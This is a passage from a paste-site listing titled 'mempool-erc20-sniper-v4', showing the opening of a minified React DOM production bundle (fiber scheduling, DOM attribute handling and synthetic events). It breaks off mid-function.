mempool-erc20-sniper-v4
unknown
plain_text
a year ago
448 kB
16
No Index
/*! For license information please see main.ebd9cba7.js.LICENSE.txt */
(()=>{"use strict";var e={4:(e,t,n)=>{var r=n(853),a=n(43),i=n(950);function s(e){var t="https://react.dev/errors/"+e;if(1<arguments.length){t+="?args[]="+encodeURIComponent(arguments[1]);for(var n=2;n<arguments.length;n++)t+="&args[]="+encodeURIComponent(arguments[n])}return"Minified React error #"+e+"; visit "+t+" for the full message or use the non-minified dev environment for full errors and additional helpful warnings."}function o(e){return!(!e||1!==e.nodeType&&9!==e.nodeType&&11!==e.nodeType)}var l=Symbol.for("react.element"),u=Symbol.for("react.transitional.element"),c=Symbol.for("react.portal"),f=Symbol.for("react.fragment"),d=Symbol.for("react.strict_mode"),h=Symbol.for("react.profiler"),p=Symbol.for("react.provider"),g=Symbol.for("react.consumer"),m=Symbol.for("react.context"),y=Symbol.for("react.forward_ref"),b=Symbol.for("react.suspense"),w=Symbol.for("react.suspense_list"),v=Symbol.for("react.memo"),A=Symbol.for("react.lazy");Symbol.for("react.scope"),Symbol.for("react.debug_trace_mode");var k=Symbol.for("react.offscreen");Symbol.for("react.legacy_hidden"),Symbol.for("react.tracing_marker");var E=Symbol.for("react.memo_cache_sentinel"),S=Symbol.iterator;function x(e){return null===e||"object"!==typeof e?null:"function"===typeof(e=S&&e[S]||e["@@iterator"])?e:null}var P=Symbol.for("react.client.reference");function C(e){if(null==e)return null;if("function"===typeof e)return e.$$typeof===P?null:e.displayName||e.name||null;if("string"===typeof e)return e;switch(e){case f:return"Fragment";case c:return"Portal";case h:return"Profiler";case d:return"StrictMode";case b:return"Suspense";case w:return"SuspenseList"}if("object"===typeof e)switch(e.$$typeof){case m:return(e.displayName||"Context")+".Provider";case g:return(e._context.displayName||"Context")+".Consumer";case y:var t=e.render;return(e=e.displayName)||(e=""!==(e=t.displayName||t.name||"")?"ForwardRef("+e+")":"ForwardRef"),e;case v:return null!==(t=e.displayName||null)?t:C(e.type)||"Memo";case A:t=e._payload,e=e._init;try{return C(e(t))}catch(n){}}return null}var N,O,T=a.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE,R=Object.assign;function I(e){if(void 0===N)try{throw Error()}catch(n){var t=n.stack.trim().match(/\n( *(at )?)/);N=t&&t[1]||"",O=-1<n.stack.indexOf("\n at")?" (<anonymous>)":-1<n.stack.indexOf("@")?"@unknown:0:0":""}return"\n"+N+e+O}var B=!1;function F(e,t){if(!e||B)return"";B=!0;var n=Error.prepareStackTrace;Error.prepareStackTrace=void 0;try{var r={DetermineComponentFrameRoot:function(){try{if(t){var n=function(){throw Error()};if(Object.defineProperty(n.prototype,"props",{set:function(){throw Error()}}),"object"===typeof Reflect&&Reflect.construct){try{Reflect.construct(n,[])}catch(a){var r=a}Reflect.construct(e,[],n)}else{try{n.call()}catch(i){r=i}e.call(n.prototype)}}else{try{throw Error()}catch(s){r=s}(n=e())&&"function"===typeof n.catch&&n.catch((function(){}))}}catch(o){if(o&&r&&"string"===typeof o.stack)return[o.stack,r.stack]}return[null,null]}};r.DetermineComponentFrameRoot.displayName="DetermineComponentFrameRoot";var a=Object.getOwnPropertyDescriptor(r.DetermineComponentFrameRoot,"name");a&&a.configurable&&Object.defineProperty(r.DetermineComponentFrameRoot,"name",{value:"DetermineComponentFrameRoot"});var i=r.DetermineComponentFrameRoot(),s=i[0],o=i[1];if(s&&o){var l=s.split("\n"),u=o.split("\n");for(a=r=0;r<l.length&&!l[r].includes("DetermineComponentFrameRoot");)r++;for(;a<u.length&&!u[a].includes("DetermineComponentFrameRoot");)a++;if(r===l.length||a===u.length)for(r=l.length-1,a=u.length-1;1<=r&&0<=a&&l[r]!==u[a];)a--;for(;1<=r&&0<=a;r--,a--)if(l[r]!==u[a]){if(1!==r||1!==a)do{if(r--,0>--a||l[r]!==u[a]){var c="\n"+l[r].replace(" at new "," at ");return e.displayName&&c.includes("<anonymous>")&&(c=c.replace("<anonymous>",e.displayName)),c}}while(1<=r&&0<=a);break}}}finally{B=!1,Error.prepareStackTrace=n}return(n=e?e.displayName||e.name:"")?I(n):""}function L(e){switch(e.tag){case 26:case 27:case 5:return I(e.type);case 16:return I("Lazy");case 13:return I("Suspense");case 19:return I("SuspenseList");case 0:case 15:return e=F(e.type,!1);case 11:return e=F(e.type.render,!1);case 1:return e=F(e.type,!0);default:return""}}function D(e){try{var t="";do{t+=L(e),e=e.return}while(e);return t}catch(n){return"\nError generating stack: "+n.message+"\n"+n.stack}}function U(e){var t=e,n=e;if(e.alternate)for(;t.return;)t=t.return;else{e=t;do{0!==(4098&(t=e).flags)&&(n=t.return),e=t.return}while(e)}return 3===t.tag?n:null}function M(e){if(13===e.tag){var t=e.memoizedState;if(null===t&&(null!==(e=e.alternate)&&(t=e.memoizedState)),null!==t)return t.dehydrated}return null}function z(e){if(U(e)!==e)throw Error(s(188))}function _(e){var t=e.tag;if(5===t||26===t||27===t||6===t)return e;for(e=e.child;null!==e;){if(null!==(t=_(e)))return t;e=e.sibling}return null}var H=Array.isArray,j=i.__DOM_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE,G={pending:!1,data:null,method:null,action:null},Q=[],V=-1;function J(e){return{current:e}}function q(e){0>V||(e.current=Q[V],Q[V]=null,V--)}function K(e,t){V++,Q[V]=e.current,e.current=t}var W=J(null),Y=J(null),Z=J(null),X=J(null);function $(e,t){switch(K(Z,t),K(Y,e),K(W,null),e=t.nodeType){case 9:case 11:t=(t=t.documentElement)&&(t=t.namespaceURI)?Yc(t):0;break;default:if(t=(e=8===e?t.parentNode:t).tagName,e=e.namespaceURI)t=Zc(e=Yc(e),t);else switch(t){case"svg":t=1;break;case"math":t=2;break;default:t=0}}q(W),K(W,t)}function ee(){q(W),q(Y),q(Z)}function te(e){null!==e.memoizedState&&K(X,e);var t=W.current,n=Zc(t,e.type);t!==n&&(K(Y,e),K(W,n))}function ne(e){Y.current===e&&(q(W),q(Y)),X.current===e&&(q(X),Uf._currentValue=G)}var re=Object.prototype.hasOwnProperty,ae=r.unstable_scheduleCallback,ie=r.unstable_cancelCallback,se=r.unstable_shouldYield,oe=r.unstable_requestPaint,le=r.unstable_now,ue=r.unstable_getCurrentPriorityLevel,ce=r.unstable_ImmediatePriority,fe=r.unstable_UserBlockingPriority,de=r.unstable_NormalPriority,he=r.unstable_LowPriority,pe=r.unstable_IdlePriority,ge=r.log,me=r.unstable_setDisableYieldValue,ye=null,be=null;function we(e){if("function"===typeof ge&&me(e),be&&"function"===typeof be.setStrictMode)try{be.setStrictMode(ye,e)}catch(t){}}var ve=Math.clz32?Math.clz32:function(e){return 0===(e>>>=0)?32:31-(Ae(e)/ke|0)|0},Ae=Math.log,ke=Math.LN2;var Ee=128,Se=4194304;function xe(e){var t=42&e;if(0!==t)return t;switch(e&-e){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:return 64;case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return 4194176&e;case 4194304:case 8388608:case 16777216:case 33554432:return 62914560&e;case 67108864:return 67108864;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 0;default:return e}}function Pe(e,t){var n=e.pendingLanes;if(0===n)return 0;var r=0,a=e.suspendedLanes,i=e.pingedLanes,s=e.warmLanes;e=0!==e.finishedLanes;var o=134217727&n;return 0!==o?0!==(n=o&~a)?r=xe(n):0!==(i&=o)?r=xe(i):e||0!==(s=o&~s)&&(r=xe(s)):0!==(o=n&~a)?r=xe(o):0!==i?r=xe(i):e||0!==(s=n&~s)&&(r=xe(s)),0===r?0:0!==t&&t!==r&&0===(t&a)&&((a=r&-r)>=(s=t&-t)||32===a&&0!==(4194176&s))?t:r}function Ce(e,t){return 0===(e.pendingLanes&~(e.suspendedLanes&~e.pingedLanes)&t)}function Ne(e,t){switch(e){case 1:case 2:case 4:case 8:return t+250;case 16:case 32:case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return t+5e3;default:return-1}}function Oe(){var e=Ee;return 0===(4194176&(Ee<<=1))&&(Ee=128),e}function Te(){var e=Se;return 0===(62914560&(Se<<=1))&&(Se=4194304),e}function Re(e){for(var t=[],n=0;31>n;n++)t.push(e);return t}function Ie(e,t){e.pendingLanes|=t,268435456!==t&&(e.suspendedLanes=0,e.pingedLanes=0,e.warmLanes=0)}function Be(e,t,n){e.pendingLanes|=t,e.suspendedLanes&=~t;var r=31-ve(t);e.entangledLanes|=t,e.entanglements[r]=1073741824|e.entanglements[r]|4194218&n}function Fe(e,t){var n=e.entangledLanes|=t;for(e=e.entanglements;n;){var r=31-ve(n),a=1<<r;a&t|e[r]&t&&(e[r]|=t),n&=~a}}function Le(e){return 2<(e&=-e)?8<e?0!==(134217727&e)?32:268435456:8:2}function De(){var e=j.p;return 0!==e?e:void 0===(e=window.event)?32:Xf(e.type)}var Ue=Math.random().toString(36).slice(2),Me="__reactFiber$"+Ue,ze="__reactProps$"+Ue,_e="__reactContainer$"+Ue,He="__reactEvents$"+Ue,je="__reactListeners$"+Ue,Ge="__reactHandles$"+Ue,Qe="__reactResources$"+Ue,Ve="__reactMarker$"+Ue;function Je(e){delete e[Me],delete e[ze],delete e[He],delete e[je],delete e[Ge]}function qe(e){var t=e[Me];if(t)return t;for(var n=e.parentNode;n;){if(t=n[_e]||n[Me]){if(n=t.alternate,null!==t.child||null!==n&&null!==n.child)for(e=uf(e);null!==e;){if(n=e[Me])return n;e=uf(e)}return t}n=(e=n).parentNode}return null}function Ke(e){if(e=e[Me]||e[_e]){var t=e.tag;if(5===t||6===t||13===t||26===t||27===t||3===t)return e}return null}function We(e){var t=e.tag;if(5===t||26===t||27===t||6===t)return e.stateNode;throw Error(s(33))}function Ye(e){var t=e[Qe];return t||(t=e[Qe]={hoistableStyles:new Map,hoistableScripts:new Map}),t}function Ze(e){e[Ve]=!0}var Xe=new Set,$e={};function et(e,t){tt(e,t),tt(e+"Capture",t)}function tt(e,t){for($e[e]=t,e=0;e<t.length;e++)Xe.add(t[e])}var nt=!("undefined"===typeof window||"undefined"===typeof window.document||"undefined"===typeof window.document.createElement),rt=RegExp("^[:A-Z_a-z\\u00C0-\\u00D6\\u00D8-\\u00F6\\u00F8-\\u02FF\\u0370-\\u037D\\u037F-\\u1FFF\\u200C-\\u200D\\u2070-\\u218F\\u2C00-\\u2FEF\\u3001-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFFD][:A-Z_a-z\\u00C0-\\u00D6\\u00D8-\\u00F6\\u00F8-\\u02FF\\u0370-\\u037D\\u037F-\\u1FFF\\u200C-\\u200D\\u2070-\\u218F\\u2C00-\\u2FEF\\u3001-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFFD\\-.0-9\\u00B7\\u0300-\\u036F\\u203F-\\u2040]*$"),at={},it={};function st(e,t,n){if(a=t,re.call(it,a)||!re.call(at,a)&&(rt.test(a)?it[a]=!0:(at[a]=!0,0)))if(null===n)e.removeAttribute(t);else{switch(typeof n){case"undefined":case"function":case"symbol":return void e.removeAttribute(t);case"boolean":var r=t.toLowerCase().slice(0,5);if("data-"!==r&&"aria-"!==r)return void e.removeAttribute(t)}e.setAttribute(t,""+n)}var a}function ot(e,t,n){if(null===n)e.removeAttribute(t);else{switch(typeof n){case"undefined":case"function":case"symbol":case"boolean":return void e.removeAttribute(t)}e.setAttribute(t,""+n)}}function lt(e,t,n,r){if(null===r)e.removeAttribute(n);else{switch(typeof r){case"undefined":case"function":case"symbol":case"boolean":return void e.removeAttribute(n)}e.setAttributeNS(t,n,""+r)}}function ut(e){switch(typeof e){case"bigint":case"boolean":case"number":case"string":case"undefined":case"object":return e;default:return""}}function ct(e){var t=e.type;return(e=e.nodeName)&&"input"===e.toLowerCase()&&("checkbox"===t||"radio"===t)}function ft(e){e._valueTracker||(e._valueTracker=function(e){var t=ct(e)?"checked":"value",n=Object.getOwnPropertyDescriptor(e.constructor.prototype,t),r=""+e[t];if(!e.hasOwnProperty(t)&&"undefined"!==typeof n&&"function"===typeof n.get&&"function"===typeof n.set){var a=n.get,i=n.set;return Object.defineProperty(e,t,{configurable:!0,get:function(){return a.call(this)},set:function(e){r=""+e,i.call(this,e)}}),Object.defineProperty(e,t,{enumerable:n.enumerable}),{getValue:function(){return r},setValue:function(e){r=""+e},stopTracking:function(){e._valueTracker=null,delete e[t]}}}}(e))}function dt(e){if(!e)return!1;var t=e._valueTracker;if(!t)return!0;var n=t.getValue(),r="";return e&&(r=ct(e)?e.checked?"true":"false":e.value),(e=r)!==n&&(t.setValue(e),!0)}function ht(e){if("undefined"===typeof(e=e||("undefined"!==typeof document?document:void 0)))return null;try{return e.activeElement||e.body}catch(t){return e.body}}var pt=/[\n"\\]/g;function gt(e){return e.replace(pt,(function(e){return"\\"+e.charCodeAt(0).toString(16)+" "}))}function mt(e,t,n,r,a,i,s,o){e.name="",null!=s&&"function"!==typeof s&&"symbol"!==typeof s&&"boolean"!==typeof s?e.type=s:e.removeAttribute("type"),null!=t?"number"===s?(0===t&&""===e.value||e.value!=t)&&(e.value=""+ut(t)):e.value!==""+ut(t)&&(e.value=""+ut(t)):"submit"!==s&&"reset"!==s||e.removeAttribute("value"),null!=t?bt(e,s,ut(t)):null!=n?bt(e,s,ut(n)):null!=r&&e.removeAttribute("value"),null==a&&null!=i&&(e.defaultChecked=!!i),null!=a&&(e.checked=a&&"function"!==typeof a&&"symbol"!==typeof a),null!=o&&"function"!==typeof o&&"symbol"!==typeof o&&"boolean"!==typeof o?e.name=""+ut(o):e.removeAttribute("name")}function yt(e,t,n,r,a,i,s,o){if(null!=i&&"function"!==typeof i&&"symbol"!==typeof i&&"boolean"!==typeof i&&(e.type=i),null!=t||null!=n){if(!("submit"!==i&&"reset"!==i||void 0!==t&&null!==t))return;n=null!=n?""+ut(n):"",t=null!=t?""+ut(t):n,o||t===e.value||(e.value=t),e.defaultValue=t}r="function"!==typeof(r=null!=r?r:a)&&"symbol"!==typeof r&&!!r,e.checked=o?e.checked:!!r,e.defaultChecked=!!r,null!=s&&"function"!==typeof s&&"symbol"!==typeof s&&"boolean"!==typeof s&&(e.name=s)}function bt(e,t,n){"number"===t&&ht(e.ownerDocument)===e||e.defaultValue===""+n||(e.defaultValue=""+n)}function wt(e,t,n,r){if(e=e.options,t){t={};for(var a=0;a<n.length;a++)t["$"+n[a]]=!0;for(n=0;n<e.length;n++)a=t.hasOwnProperty("$"+e[n].value),e[n].selected!==a&&(e[n].selected=a),a&&r&&(e[n].defaultSelected=!0)}else{for(n=""+ut(n),t=null,a=0;a<e.length;a++){if(e[a].value===n)return e[a].selected=!0,void(r&&(e[a].defaultSelected=!0));null!==t||e[a].disabled||(t=e[a])}null!==t&&(t.selected=!0)}}function vt(e,t,n){null==t||((t=""+ut(t))!==e.value&&(e.value=t),null!=n)?e.defaultValue=null!=n?""+ut(n):"":e.defaultValue!==t&&(e.defaultValue=t)}function At(e,t,n,r){if(null==t){if(null!=r){if(null!=n)throw Error(s(92));if(H(r)){if(1<r.length)throw Error(s(93));r=r[0]}n=r}null==n&&(n=""),t=n}n=ut(t),e.defaultValue=n,(r=e.textContent)===n&&""!==r&&null!==r&&(e.value=r)}function kt(e,t){if(t){var n=e.firstChild;if(n&&n===e.lastChild&&3===n.nodeType)return void(n.nodeValue=t)}e.textContent=t}var Et=new Set("animationIterationCount aspectRatio borderImageOutset borderImageSlice borderImageWidth boxFlex boxFlexGroup boxOrdinalGroup columnCount columns flex flexGrow flexPositive flexShrink flexNegative flexOrder gridArea gridRow gridRowEnd gridRowSpan gridRowStart gridColumn gridColumnEnd gridColumnSpan gridColumnStart fontWeight lineClamp lineHeight opacity order orphans scale tabSize widows zIndex zoom fillOpacity floodOpacity stopOpacity strokeDasharray strokeDashoffset strokeMiterlimit strokeOpacity strokeWidth MozAnimationIterationCount MozBoxFlex MozBoxFlexGroup MozLineClamp msAnimationIterationCount msFlex msZoom msFlexGrow msFlexNegative msFlexOrder msFlexPositive msFlexShrink msGridColumn msGridColumnSpan msGridRow msGridRowSpan WebkitAnimationIterationCount WebkitBoxFlex WebKitBoxFlexGroup WebkitBoxOrdinalGroup WebkitColumnCount WebkitColumns WebkitFlex WebkitFlexGrow WebkitFlexPositive WebkitFlexShrink WebkitLineClamp".split(" "));function St(e,t,n){var r=0===t.indexOf("--");null==n||"boolean"===typeof n||""===n?r?e.setProperty(t,""):"float"===t?e.cssFloat="":e[t]="":r?e.setProperty(t,n):"number"!==typeof n||0===n||Et.has(t)?"float"===t?e.cssFloat=n:e[t]=(""+n).trim():e[t]=n+"px"}function xt(e,t,n){if(null!=t&&"object"!==typeof t)throw Error(s(62));if(e=e.style,null!=n){for(var r in n)!n.hasOwnProperty(r)||null!=t&&t.hasOwnProperty(r)||(0===r.indexOf("--")?e.setProperty(r,""):"float"===r?e.cssFloat="":e[r]="");for(var a in t)r=t[a],t.hasOwnProperty(a)&&n[a]!==r&&St(e,a,r)}else for(var i in t)t.hasOwnProperty(i)&&St(e,i,t[i])}function Pt(e){if(-1===e.indexOf("-"))return!1;switch(e){case"annotation-xml":case"color-profile":case"font-face":case"font-face-src":case"font-face-uri":case"font-face-format":case"font-face-name":case"missing-glyph":return!1;default:return!0}}var Ct=new Map([["acceptCharset","accept-charset"],["htmlFor","for"],["httpEquiv","http-equiv"],["crossOrigin","crossorigin"],["accentHeight","accent-height"],["alignmentBaseline","alignment-baseline"],["arabicForm","arabic-form"],["baselineShift","baseline-shift"],["capHeight","cap-height"],["clipPath","clip-path"],["clipRule","clip-rule"],["colorInterpolation","color-interpolation"],["colorInterpolationFilters","color-interpolation-filters"],["colorProfile","color-profile"],["colorRendering","color-rendering"],["dominantBaseline","dominant-baseline"],["enableBackground","enable-background"],["fillOpacity","fill-opacity"],["fillRule","fill-rule"],["floodColor","flood-color"],["floodOpacity","flood-opacity"],["fontFamily","font-family"],["fontSize","font-size"],["fontSizeAdjust","font-size-adjust"],["fontStretch","font-stretch"],["fontStyle","font-style"],["fontVariant","font-variant"],["fontWeight","font-weight"],["glyphName","glyph-name"],["glyphOrientationHorizontal","glyph-orientation-horizontal"],["glyphOrientationVertical","glyph-orientation-vertical"],["horizAdvX","horiz-adv-x"],["horizOriginX","horiz-origin-x"],["imageRendering","image-rendering"],["letterSpacing","letter-spacing"],["lightingColor","lighting-color"],["markerEnd","marker-end"],["markerMid","marker-mid"],["markerStart","marker-start"],["overlinePosition","overline-position"],["overlineThickness","overline-thickness"],["paintOrder","paint-order"],["panose-1","panose-1"],["pointerEvents","pointer-events"],["renderingIntent","rendering-intent"],["shapeRendering","shape-rendering"],["stopColor","stop-color"],["stopOpacity","stop-opacity"],["strikethroughPosition","strikethrough-position"],["strikethroughThickness","strikethrough-thickness"],["strokeDasharray","stroke-dasharray"],["strokeDashoffset","stroke-dashoffset"],["strokeLinecap","stroke-linecap"],["strokeLinejoin","stroke-linejoin"],["strokeMiterlimit","stroke-miterlimit"],["strokeOpacity","stroke-opacity"],["strokeWidth","stroke-width"],["textAnchor","text-anchor"],["textDecoration","text-decoration"],["textRendering","text-rendering"],["transformOrigin","transform-origin"],["underlinePosition","underline-position"],["underlineThickness","underline-thickness"],["unicodeBidi","unicode-bidi"],["unicodeRange","unicode-range"],["unitsPerEm","units-per-em"],["vAlphabetic","v-alphabetic"],["vHanging","v-hanging"],["vIdeographic","v-ideographic"],["vMathematical","v-mathematical"],["vectorEffect","vector-effect"],["vertAdvY","vert-adv-y"],["vertOriginX","vert-origin-x"],["vertOriginY","vert-origin-y"],["wordSpacing","word-spacing"],["writingMode","writing-mode"],["xmlnsXlink","xmlns:xlink"],["xHeight","x-height"]]),Nt=/^[\u0000-\u001F ]*j[\r\n\t]*a[\r\n\t]*v[\r\n\t]*a[\r\n\t]*s[\r\n\t]*c[\r\n\t]*r[\r\n\t]*i[\r\n\t]*p[\r\n\t]*t[\r\n\t]*:/i;function Ot(e){return Nt.test(""+e)?"javascript:throw new Error('React has blocked a javascript: URL as a security precaution.')":e}var Tt=null;function Rt(e){return(e=e.target||e.srcElement||window).correspondingUseElement&&(e=e.correspondingUseElement),3===e.nodeType?e.parentNode:e}var It=null,Bt=null;function Ft(e){var t=Ke(e);if(t&&(e=t.stateNode)){var n=e[ze]||null;e:switch(e=t.stateNode,t.type){case"input":if(mt(e,n.value,n.defaultValue,n.defaultValue,n.checked,n.defaultChecked,n.type,n.name),t=n.name,"radio"===n.type&&null!=t){for(n=e;n.parentNode;)n=n.parentNode;for(n=n.querySelectorAll('input[name="'+gt(""+t)+'"][type="radio"]'),t=0;t<n.length;t++){var r=n[t];if(r!==e&&r.form===e.form){var a=r[ze]||null;if(!a)throw Error(s(90));mt(r,a.value,a.defaultValue,a.defaultValue,a.checked,a.defaultChecked,a.type,a.name)}}for(t=0;t<n.length;t++)(r=n[t]).form===e.form&&dt(r)}break e;case"textarea":vt(e,n.value,n.defaultValue);break e;case"select":null!=(t=n.value)&&wt(e,!!n.multiple,t,!1)}}}var Lt=!1;function Dt(e,t,n){if(Lt)return e(t,n);Lt=!0;try{return e(t)}finally{if(Lt=!1,(null!==It||null!==Bt)&&(Mu(),It&&(t=It,e=Bt,Bt=It=null,Ft(t),e)))for(t=0;t<e.length;t++)Ft(e[t])}}function Ut(e,t){var n=e.stateNode;if(null===n)return null;var r=n[ze]||null;if(null===r)return null;n=r[t];e:switch(t){case"onClick":case"onClickCapture":case"onDoubleClick":case"onDoubleClickCapture":case"onMouseDown":case"onMouseDownCapture":case"onMouseMove":case"onMouseMoveCapture":case"onMouseUp":case"onMouseUpCapture":case"onMouseEnter":(r=!r.disabled)||(r=!("button"===(e=e.type)||"input"===e||"select"===e||"textarea"===e)),e=!r;break e;default:e=!1}if(e)return null;if(n&&"function"!==typeof n)throw Error(s(231,t,typeof n));return n}var Mt=!1;if(nt)try{var zt={};Object.defineProperty(zt,"passive",{get:function(){Mt=!0}}),window.addEventListener("test",zt,zt),window.removeEventListener("test",zt,zt)}catch(kd){Mt=!1}var _t=null,Ht=null,jt=null;function Gt(){if(jt)return jt;var e,t,n=Ht,r=n.length,a="value"in _t?_t.value:_t.textContent,i=a.length;for(e=0;e<r&&n[e]===a[e];e++);var s=r-e;for(t=1;t<=s&&n[r-t]===a[i-t];t++);return jt=a.slice(e,1<t?1-t:void 0)}function Qt(e){var t=e.keyCode;return"charCode"in e?0===(e=e.charCode)&&13===t&&(e=13):e=t,10===e&&(e=13),32<=e||13===e?e:0}function Vt(){return!0}function Jt(){return!1}function qt(e){function t(t,n,r,a,i){for(var s in this._reactName=t,this._targetInst=r,this.type=n,this.nativeEvent=a,this.target=i,this.currentTarget=null,e)e.hasOwnProperty(s)&&(t=e[s],this[s]=t?t(a):a[s]);return this.isDefaultPrevented=(null!=a.defaultPrevented?a.defaultPrevented:!1===a.returnValue)?Vt:Jt,this.isPropagationStopped=Jt,this}return R(t.prototype,{preventDefault:function(){this.defaultPrevented=!0;var e=this.nativeEvent;e&&(e.preventDefault?e.preventDefault():"unknown"!==typeof e.returnValue&&(e.returnValue=!1),this.isDefaultPrevented=Vt)},stopPropagation:function(){var e=this.nativeEvent;e&&(e.stopPropagation?e.stopPropagation():"unknown"!==typeof e.cancelBubble&&(e.cancelBubble=!0),this.isPropagationStopped=Vt)},persist:function(){},isPersistent:Vt}),t}var Kt,Wt,Yt,Zt={eventPhase:0,bubbles:0,cancelable:0,timeStamp:function(e){return e.timeStamp||Date.now()},defaultPrevented:0,isTrusted:0},Xt=qt(Zt),$t=R({},Zt,{view:0,detail:0}),en=qt($t),tn=R({},$t,{screenX:0,screenY:0,clientX:0,clientY:0,pageX:0,pageY:0,ctrlKey:0,shiftKey:0,altKey:0,metaKey:0,getModifierState:hn,button:0,buttons:0,relatedTarget:function(e){return void 0===e.relatedTarget?e.fromElement===e.srcElement?e.toElement:e.fromElement:e.relatedTarget},movementX:function(e){return"movementX"in e?e.movementX:(e!==Yt&&(Yt&&"mousemove"===e.type?(Kt=e.screenX-Yt.screenX,Wt=e.screenY-Yt.screenY):Wt=Kt=0,Yt=e),Kt)},movementY:function(e){return"movementY"in e?e.movementY:Wt}}),nn=qt(tn),rn=qt(R({},tn,{dataTransfer:0})),an=qt(R({},$t,{relatedTarget:0})),sn=qt(R({},Zt,{animationName:0,elapsedTime:0,pseudoElement:0})),on=qt(R({},Zt,{clipboardData:function(e){return"clipboardData"in e?e.clipboardData:window.clipboardData}})),ln=qt(R({},Zt,{data:0})),un={Esc:"Escape",Spacebar:" ",Left:"ArrowLeft",Up:"ArrowUp",Right:"ArrowRight",Down:"ArrowDown",Del:"Delete",Win:"OS",Menu:"ContextMenu",Apps:"ContextMenu",Scroll:"ScrollLock",MozPrintableKey:"Unidentified"},cn={8:"Backspace",9:"Tab",12:"Clear",13:"Enter",16:"Shift",17:"Control",18:"Alt",19:"Pause",20:"CapsLock",27:"Escape",32:" ",33:"PageUp",34:"PageDown",35:"End",36:"Home",37:"ArrowLeft",38:"ArrowUp",39:"ArrowRight",40:"ArrowDown",45:"Insert",46:"Delete",112:"F1",113:"F2",114:"F3",115:"F4",116:"F5",117:"F6",118:"F7",119:"F8",120:"F9",121:"F10",122:"F11",123:"F12",144:"NumLock",145:"ScrollLock",224:"Meta"},fn={Alt:"altKey",Control:"ctrlKey",Meta:"metaKey",Shift:"shiftKey"};function dn(e){var t=this.nativeEvent;return t.getModifierState?t.getModifierState(e):!!(e=fn[e])&&!!t[e]}function hn(){return dn}var pn=qt(R({},$t,{key:function(e){if(e.key){var t=un[e.key]||e.key;if("Unidentified"!==t)return t}return"keypress"===e.type?13===(e=Qt(e))?"Enter":String.fromCharCode(e):"keydown"===e.type||"keyup"===e.type?cn[e.keyCode]||"Unidentified":""},code:0,location:0,ctrlKey:0,shiftKey:0,altKey:0,metaKey:0,repeat:0,locale:0,getModifierState:hn,charCode:function(e){return"keypress"===e.type?Qt(e):0},keyCode:function(e){return"keydown"===e.type||"keyup"===e.type?e.keyCode:0},which:function(e){return"keypress"===e.type?Qt(e):"keydown"===e.type||"keyup"===e.type?e.keyCode:0}})),gn=qt(R({},tn,{pointerId:0,width:0,height:0,pressure:0,tangentialPressure:0,tiltX:0,tiltY:0,twist:0,pointerType:0,isPrimary:0})),mn=qt(R({},$t,{touches:0,targetTouches:0,changedTouches:0,altKey:0,metaKey:0,ctrlKey:0,shiftKey:0,getModifierState:hn})),yn=qt(R({},Zt,{propertyName:0,elapsedTime:0,pseudoElement:0})),bn=qt(R({},tn,{deltaX:function(e){return"deltaX"in e?e.deltaX:"wheelDeltaX"in e?-e.wheelDeltaX:0},deltaY:function(e){return"deltaY"in e?e.deltaY:"wheelDeltaY"in e?-e.wheelDeltaY:"wheelDelta"in e?-e.wheelDelta:0},deltaZ:0,deltaMode:0})),wn=qt(R({},Zt,{newState:0,oldState:0})),vn=[9,13,27,32],An=nt&&"CompositionEvent"in window,kn=null;nt&&"documentMode"in document&&(kn=document.documentMode);var En=nt&&"TextEvent"in window&&!kn,Sn=nt&&(!An||kn&&8<kn&&11>=kn),xn=String.fromCharCode(32),Pn=!1;function Cn(e,t){switch(e){case"keyup":return-1!==vn.indexOf(t.keyCode);case"keydown":return 229!==t.keyCode;case"keypress":case"mousedown":case"focusout":return!0;default:return!1}}function Nn(e){return"object"===typeof(e=e.detail)&&"data"in e?e.data:null}var On=!1;var Tn={color:!0,date:!0,datetime:!0,"datetime-local":!0,email:!0,month:!0,number:!0,password:!0,range:!0,search:!0,tel:!0,text:!0,time:!0,url:!0,week:!0};function Rn(e){var t=e&&e.nodeName&&e.nodeName.toLowerCase();return"input"===t?!!Tn[e.type]:"textarea"===t}function In(e,t,n,r){It?Bt?Bt.push(r):Bt=[r]:It=r,0<(t=Dc(t,"onChange")).length&&(n=new Xt("onChange","change",null,n,r),e.push({event:n,listeners:t}))}var Bn=null,Fn=null;function Ln(e){Nc(e,0)}function Dn(e){if(dt(We(e)))return e}function Un(e,t){if("change"===e)return t}var Mn=!1;if(nt){var zn;if(nt){var _n="oninput"in document;if(!_n){var Hn=document.createElement("div");Hn.setAttribute("oninput","return;"),_n="function"===typeof Hn.oninput}zn=_n}else zn=!1;Mn=zn&&(!document.documentMode||9<document.documentMode)}function jn(){Bn&&(Bn.detachEvent("onpropertychange",Gn),Fn=Bn=null)}function Gn(e){if("value"===e.propertyName&&Dn(Fn)){var t=[];In(t,Fn,e,Rt(e)),Dt(Ln,t)}}function Qn(e,t,n){"focusin"===e?(jn(),Fn=n,(Bn=t).attachEvent("onpropertychange",Gn)):"focusout"===e&&jn()}function Vn(e){if("selectionchange"===e||"keyup"===e||"keydown"===e)return Dn(Fn)}function Jn(e,t){if("click"===e)return Dn(t)}function qn(e,t){if("input"===e||"change"===e)return Dn(t)}var Kn="function"===typeof Object.is?Object.is:function(e,t){return e===t&&(0!==e||1/e===1/t)||e!==e&&t!==t};function Wn(e,t){if(Kn(e,t))return!0;if("object"!==typeof e||null===e||"object"!==typeof t||null===t)return!1;var n=Object.keys(e),r=Object.keys(t);if(n.length!==r.length)return!1;for(r=0;r<n.length;r++){var a=n[r];if(!re.call(t,a)||!Kn(e[a],t[a]))return!1}return!0}function Yn(e){for(;e&&e.firstChild;)e=e.firstChild;return e}function Zn(e,t){var n,r=Yn(e);for(e=0;r;){if(3===r.nodeType){if(n=e+r.textContent.length,e<=t&&n>=t)return{node:r,offset:t-e};e=n}e:{for(;r;){if(r.nextSibling){r=r.nextSibling;break 